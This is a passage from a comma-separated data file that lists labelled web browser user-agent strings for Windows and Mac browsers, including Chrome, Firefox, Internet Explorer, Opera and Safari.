Arora/0.8.0\"\nBrowsers - Windows,Avant Browser - MSIE 7 (Win XP),Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nBrowsers - Windows,Beamrise - (Win 7) - Webkit 535.8,\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.8 (KHTML, like Gecko) Beamrise/17.2.0.9 Chrome/17.0.939.0 Safari/535.8\"\nBrowsers - Windows,Chrome 28.0 (Win 7 - 64 bit),Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/28.0.1469.0 Safari/537.36\nBrowsers - Windows,Chrome 28.0 (Win 8 - 64 bit),Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/28.0.1469.0 Safari/537.36\nBrowsers - Windows,Chrome 32.0 (Win 8 - 64 bit),\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36\"\nBrowsers - Windows,Chrome 36.0 (Win 8 - 64 bit),\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36\"\nBrowsers - Windows,Chrome 37.0 (Win 8.1 - 64 bit),\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36\"\nBrowsers - Windows,Chrome 41.0 (Win 7 - 32 bit),\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36\"\nBrowsers - Windows,Chrome 45.0 (Win 10 - 64 bit),\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36\"\nBrowsers - Windows,Chrome 45.0 (Win Vista - 32 bit),\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36\"\nBrowsers - Windows,Chrome 51.0 (Win 10 - 64 bit),\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\"\nBrowsers - Windows,Chrome 55.0 (Win 10 - 64 bit),\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2869.0 Safari/537.36\"\nBrowsers - Windows,Chrome 57.0 AOL (Win 10 - 64 bit),\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 AOL/11.0 AOLBUILD/11.0.1305 Safari/537.36\"\nBrowsers - Windows,Chrome 62.0 (Win 10 - 64 bit),\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3191.0 Safari/537.36\"\nBrowsers - Windows,Edge (Microsoft) 12.0 (EdgeHTML) Chrome 39 (Win 10 - 64 bit),\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Edge/12.0\"\nBrowsers - Windows,Edge (Microsoft) 12.1 (EdgeHTML) Chrome 42 (Win 10 - 64 bit),\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240\"\nBrowsers - Windows,Edge (Microsoft) 14.14 (EdgeHTML) Chrome 51 (Win 10 - 64 bit),\"Mozilla/5.0 (MSIE 9.0; Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14931\"\nBrowsers - Windows,Edge (Microsoft) 15.15 (EdgeHTML) Chrome 52 (Win 10),\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063\"\nBrowsers - Windows,Firefox 21.0 (Win 7 32),Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130401 Firefox/21.0\nBrowsers - Windows,Firefox 25.0 (Win 7 64),Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0\nBrowsers - Windows,Firefox 29.0 (Win 7 64 bit),Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/29.0\nBrowsers - Windows,Firefox 31.0 (Win XP),Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0\nBrowsers - Windows,Firefox 35.0 (Win 7 64 bit),Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:35.0) Gecko/20100101 Firefox/35.0\nBrowsers - Windows,Firefox 36.0 (Win 8.1 32 bit),Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0\nBrowsers - Windows,Firefox 39.0 (Win 8.0 64 bit),Mozilla/5.0 (Windows NT 6.2; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0\nBrowsers - Windows,Firefox 40.0 (Win Vista),Mozilla/5.0 (Windows NT 6.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0\nBrowsers - Windows,Firefox 40.0 (Win 10),Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0\nBrowsers - Windows,Firefox 47.0 (Win 10),Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0\nBrowsers - Windows,Firefox 52.0 (Win 10),Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0\nBrowsers - Windows,Firefox 57.0 (Win 10 64 bit),Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\nBrowsers - Windows,iTunes 9.0.2 (Windows),iTunes/9.0.2 (Windows; N)\nBrowsers - Windows,Konqueror 4.5 (Win XP - KDE native),Mozilla/5.0 (compatible; Konqueror/4.5; Windows) KHTML/4.5.4 (like Gecko)\nBrowsers - Windows,Maxthon 3.0 (Webkit) (Vista),\"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Maxthon/3.0.8.2 Safari/533.1\"\nBrowsers - Windows,Maxthon 4.0 (Chrome 22) (Win7 64 bit),Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML like Gecko) Maxthon/4.0.0.2000 Chrome/22.0.1229.79 Safari/537.1\nBrowsers - Windows,Maxthon 4.4 (Chrome 30) (Win7 64 bit),\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.6.1000 Chrome/30.0.1599.101 Safari/537.36\"\nBrowsers - Windows,Maxthon 5.0 (Chrome 47) (Win7 64 bit),\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/5.0.4.3000 Chrome/47.0.2526.73 Safari/537.36\"\nBrowsers - Windows,MSIE 6 (Win XP),Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\nBrowsers - Windows,MSIE 7 (Vista),Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)\nBrowsers - Windows,MSIE 8 - standard mode (Win XP),Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nBrowsers - Windows,MSIE 8 - standard mode (Win 7),Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)\nBrowsers - Windows,MSIE 8 - compat mode (Vista),Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0)\nBrowsers - Windows,MSIE 8 - standard mode (Vista),Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)\nBrowsers - Windows,MSIE 9 - compat mode (Vista),Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/5.0)\nBrowsers - Windows,MSIE 9 - standard mode (Win 7),Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)\nBrowsers - Windows,MSIE 9 - standard mode (NT 6.2 32 Win 8),Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; Trident/5.0)\nBrowsers - Windows,MSIE 9 - standard mode (NT 6.2 64 Win 8),Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; WOW64; Trident/5.0)\nBrowsers - Windows,MSIE 9 - standard mode (with Zune plugin) (NT 6.1 Win 7),Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7)\nBrowsers - Windows,MSIE 10 - standard mode (Win 7 64),Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)\nBrowsers - Windows,MSIE 10 - compat mode (Win 7 64),Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0)\nBrowsers - Windows,MSIE 10.6 - (Win 7 32),Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0\nBrowsers - Windows,MSIE 11.0 - (Win 7 64),Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\nBrowsers - Windows,MSIE 11.0 - (Win 8.1 32),Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko\nBrowsers - Windows,MSIE 11.0 (compatibility mode IE 7)- (Win 8.1 32),Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; Trident/7.0; .NET4.0E; .NET4.0C)\nBrowsers - Windows,MxBrowser (Chrome 30)- (Win XP),\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) MxBrowser/4.5.10.7000 Chrome/30.0.1551.0 Safari/537.36\"\nBrowsers - Windows,MSIE 11.0 (Win 10),Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MATBJS; rv:11.0) like Gecko\nBrowsers - Windows,MSIE 11.0 touch (Win 10 64 bit),Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MALNJS; rv:11.0) like Gecko\nBrowsers - Windows,Opera 12.16 (id as 9.8) (Win 7),Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.16\nBrowsers - Windows,Opera 14.0 (Chrome 27) (Win 7),\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.12 Safari/537.36 OPR/14.0.1116.4\"\nBrowsers - Windows,Opera 15.0 (Chrome 28) (Win 7),\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.29 Safari/537.36 OPR/15.0.1147.24 (Edition Next)\"\nBrowsers - Windows,Opera 18.0 (Chrome 31) (Win 8.1),\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36 OPR/18.0.1284.49\"\nBrowsers - Windows,Opera 19.0 (Chrome 32) (Win 7),\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36 OPR/19.0.1326.56\"\nBrowsers - Windows,Opera 20.0 (Chrome 33) (Win 7 64 bit),\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36 OPR/20.0.1387.91\"\nBrowsers - Windows,Opera 28.0 (Chrome 41) (Win 8 64 bit),\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.76 Safari/537.36 OPR/28.0.1750.40\"\nBrowsers - Windows,Opera 31.0 (Chrome 44) (Win 7 64 bit),\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174\"\nBrowsers - Windows,Opera 36.0 (Chrome 49) (Win 10 64 bit),\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 OPR/36.0.2130.46\"\nBrowsers - Windows,Opera 47.0 (Chrome 60) (Win 10 64 bit),\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 OPR/47.0.2631.55\"\nBrowsers - Windows,Palemoon 27.4 (Firefox 45.9) (Win 10),Mozilla/5.0 (Windows NT 10.0; rv:45.9) Gecko/20100101 Goanna/3.2 Firefox/45.9 PaleMoon/27.4.0\nBrowsers - Windows,Safari 533.17 (Server 2003/64 bit),\"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8\"\nBrowsers - Windows,Safari 533.19 (Win 7),\"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5\"\nBrowsers - Windows,Safari 6.0 (Win 8),Mozilla/5.0 (Windows; U; Windows NT 6.2; es-US ) AppleWebKit/540.0 (KHTML like Gecko) Version/6.0 Safari/8900.00\nBrowsers - Windows,Safari 7.0 (Win 7),Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.71 (KHTML like Gecko) WebVideo/1.0.1.10 Version/7.0 Safari/537.71\nBrowsers - Windows,SeaMonkey (Mozilla) 2.9 (Win7 64 bit),Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20120422 Firefox/12.0 SeaMonkey/2.9\nBrowsers - Windows,SeaMonkey (Mozilla) 2.33 (Win Vista),Mozilla/5.0 (Windows NT 6.0; rv:36.0) Gecko/20100101 Firefox/36.0 SeaMonkey/2.33.1\nBrowsers - Windows,UBrowser 5.6 2.33 (chrome/webkit) (Win 10),\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 UBrowser/5.6.13705.206 Safari/537.36\"\nBrowsers - Windows,Vivaldi 1.0.94 (Blink) (Win 7),\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.89 Vivaldi/1.0.94.2 Safari/537.36\"\nBrowsers - Windows,Vivaldi 1.4 (Blink) (Win 10),\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.90 Safari/537.36 Vivaldi/1.4.589.11\"\nBrowsers - Windows,Vivaldi 1.92 (Blink) (Win 10),\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.91 Safari/537.36 Vivaldi/1.92.917.39\"\nBrowsers - Windows,Yowser 2.5 (Blink - Chrome 56) (Win XP),\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 YaBrowser/17.3.0.1785 Yowser/2.5 Safari/537.36\"\nBrowsers - Mac,Camino 2.2.1 (Firefox 4.0.1) (OS X 10.6 Intel),Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Camino/2.2.1\nBrowsers - Mac,Camino 2.2a1pre (Firefox 4.0.1) (OS X 10.6 Intel),Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b6pre) Gecko/20100907 Firefox/4.0b6pre Camino/2.2a1pre\nBrowsers - Mac,Chrome 4.0 (OS X 10_5_8 Intel),\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.302.2 Safari/532.8\"\nBrowsers - Mac,Chrome 6.0 (OS X 10_6_4 Intel),\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3\"\nBrowsers - Mac,Chrome 9.0 (OS X 10_6_5 Intel),\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13\"\nBrowsers - Mac,Chrome 14.0 (OS X 10_7_2 Intel),\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1\"\nBrowsers - Mac,Chrome 15.0 (OS X 10_6_8 Intel),\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.54 Safari/535.2\"\nBrowsers - Mac,Chrome 16.0 (OS X 10_6_8 Intel),\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7\"\nBrowsers - Mac,Chrome 19.0 (OS X 10_8_0 Intel),\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3\"\nBrowsers - Mac,Chrome 22.0 (OS X 10_8_2 Intel),Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.4 (KHTML like Gecko) Chrome/22.0.1229.79 Safari/537.4\nBrowsers - Mac,Firefox 0.9 (OS X Mach),Mozilla/5.0 (Macintosh; U; Mac OS X Mach-O; en-US; rv:2.0a) Gecko/20040614 Firefox/3.0.0\nBrowsers - Mac,Firefox 3.0.3 (OS X PPC),Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3\nBrowsers - Mac,Firefox 3.5 (OS X 10.5 Intel),Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5\nBrowsers - Mac,Firefox 3.6 (OS X 10.6 Intel),Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.14) Gecko/20110218 AlexaToolbar/alxf-2.0 Firefox/3.6.14\nBrowsers - Mac,Firefox 3.6 (OS X 10.5 PPC),Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15\nBrowsers - Mac,Firefox 4.0.1 (OS X 10.6 Intel),Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\nBrowsers - Mac,Firefox 5.0 (OS X 10.6 Intel),Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20100101 Firefox/5.0\nBrowsers - Mac,Firefox 9.0 (OS X 10.6 Intel),Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0\nBrowsers - Mac,Firefox 10.0.1 (OS X 10.6 Intel),Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1\nBrowsers - Mac,Firefox 16.0 (OS X 10.8 Intel),Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20120813 Firefox/16.0\nBrowsers - Mac,MSIE 5.15 (OS 9),Mozilla/4.0 (compatible; MSIE 5.15; Mac_PowerPC)\nBrowsers - Mac,Omniweb 563.15 (OS X PPC),\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.15\"\nBrowsers - Mac,Opera 9.0 (OS X PPC),Opera/9.0 (Macintosh; PPC Mac OS X; U; en)\nBrowsers - Mac,Opera 9.20 (OS X Intel),Opera/9.20 (Macintosh; Intel Mac OS X; U; en)\nBrowsers - Mac,Opera 9.64 (OS X PPC),Opera/9.64 (Macintosh; PPC Mac OS X; U; en) Presto/2.1.1\nBrowsers - Mac,Opera 10.61 (id as 9.8) (OS X Intel),Opera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.6.30 Version/10.61\nBrowsers - Mac,Opera 11.00 (id as 9.8) (OS X Intel),Opera/9.80 (Macintosh; Intel Mac OS X 10.4.11; U; en) Presto/2.7.62 Version/11.00\nBrowsers - Mac,Safari 85 (OS X PPC),\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/85.8\"\nBrowsers - Mac,Safari 125.8 (OS X PPC),\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8\"\nBrowsers - Mac,Safari 312.3 (OS X PPC),\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3\"\nBrowsers - Mac,Safari 419.3 (OS X PPC),\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3\"\nBrowsers - Mac,Chrome 26.0 (OS X 10_8_4 Intel),Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.31 (KHTML like Gecko) Chrome/26.0.1410.63 Safari/537.31\nBrowsers - Mac,Chrome 28.0 (OS X 10_8_3 Intel),Mozilla/5.0 (Macintosh; Intel Mac OS X 1083) AppleWebKit/537.36 (KHTML like Gecko) Chrome/28.0.1469.0 Safari/537.36\nBrowsers - Mac,Chrome 32.0 (OS X 10_9_0 Intel),\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36\"\nBrowsers - Mac,Chrome 36.0 (OS X 10_9_2 Intel),\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36\"\nBrowsers - Mac,Chrome 41.0 (OS X 10_10_1) Intel),\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36\"\nBrowsers - Mac,Chrome 51.0 (OS X 10_11_5) Intel),\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36\"\nBrowsers - Mac,Chrome 52.0 (OS X 10_10_1) Intel),\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\"\nBrowsers - Mac,Chrome 55.0 (OS X 10_10_5) Intel),\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2859.0 Safari/537.36\"\nBrowsers - Mac,Chrome 60.0 (OS X 10_10_1) Intel),\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36\"\nBrowsers - Mac,Chrome 61.0 (OS X 10_10_5) Intel),\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.49 Safari/537.36\"\nBrowsers - Mac,Firefox 20.0 (OS X 10.7 Intel),Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:20.0) Gecko/20100101 Firefox/20.0\nBrowsers - Mac,Firefox 21.0 (OS X 10.8 Intel),Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0\nBrowsers - Mac,Firefox 25.0 (OS X 10.6 Intel),Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0\nBrowsers - Mac,Firefox 35.0 (OS X 10.9 Intel),Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:35.0) Gecko/20100101 Firefox/35.0\nBrowsers - Mac,Firefox 40.0 (OS X 10.10 Intel),Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0\nBrowsers - Mac,Firefox 47.0 (OS X 10.9 Intel),Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:47.0) Gecko/20100101 Firefox/47.0\nBrowsers - Mac,Firefox 49.0 (OS X 10.12 Intel),Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:49.0) Gecko/20100101 Firefox/49.0\nBrowsers - Mac,Firefox 55.0 (OS X 10.13 Intel),Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:55.0) Gecko/20100101 Firefox/55.0\nBrowsers - Mac,iTunes 4.2 (OS X 10.2 PPC),iTunes/4.2 (Macintosh; U; PPC Mac OS X 10.2)\nBrowsers - Mac,iTunes 9.0.3 (OS X 10_6_2),iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)\nBrowsers - Mac,Maxthon 4.5.2 (AppleWebKit 600.8) (OS X Intel),\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Maxthon/4.5.2\"\nBrowsers - Mac,Omniweb 622.8 (OS X Intel),\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/528.16 (KHTML, like Gecko, Safari/528.16) OmniWeb/v622.8.0.112941\"\nBrowsers - Mac,Omniweb 622.8 (OS X 10_5_6 Intel),\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/528.16 (KHTML, like Gecko, Safari/528.16) OmniWeb/v622.8.0\"\nBrowsers - Mac,Opera 11.52 (id as 9.8) (OS X Intel),Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52\nBrowsers - Mac,Opera 28.0 (Blink) (OS X 10_10_2 Intel),\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36 OPR/28.0.1750.51\"\nBrowsers - Mac,Opera 29.0 (Blink) (OS X 10_10_2 Intel),\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.82 Safari/537.36 OPR/29.0.1795.41\"\nBrowsers - Mac,Safari 531.21 (OS X 10_6_2 Intel),\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\"\nBrowsers - Mac,Safari 533.19 (OS X 10_6_5 Intel),\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; de-de) AppleWebKit/534.15  (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\"\nBrowsers - Mac,Safari 533.20 (OS X 10_6_6 Intel),\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-us) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\"\nBrowsers - Mac,Safari 534.20 (OS X 10_7 Intel),\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7; en-us) AppleWebKit/534.20.8 (KHTML, like Gecko) Version/5.1 Safari/534.20.8\"\nBrowsers - Mac,Safari 534.55 (OS X 10_7_3 Intel),\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10\"\nBrowsers - Mac,Safari 534.57 (5.1.7) (OS X 10_6_8 Intel),\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2\"\nBrowsers - Mac,Safari 536.26 (6) (OS X 10_7_5 Intel),Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML like Gecko) Version/6.0.2 Safari/536.26.17\nBrowsers - Mac,Safari 7 537.78 (OS X 10_9_5),Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.78.1 (KHTML like Gecko) Version/7.0.6 Safari/537.78.1\nBrowsers - Mac,Safari 7.0 537.75 (OS X 10_9_3),\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A\"\nBrowsers - Mac,Safari 8.0 600.8 (OS X 10_10_5),\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/8.0.8 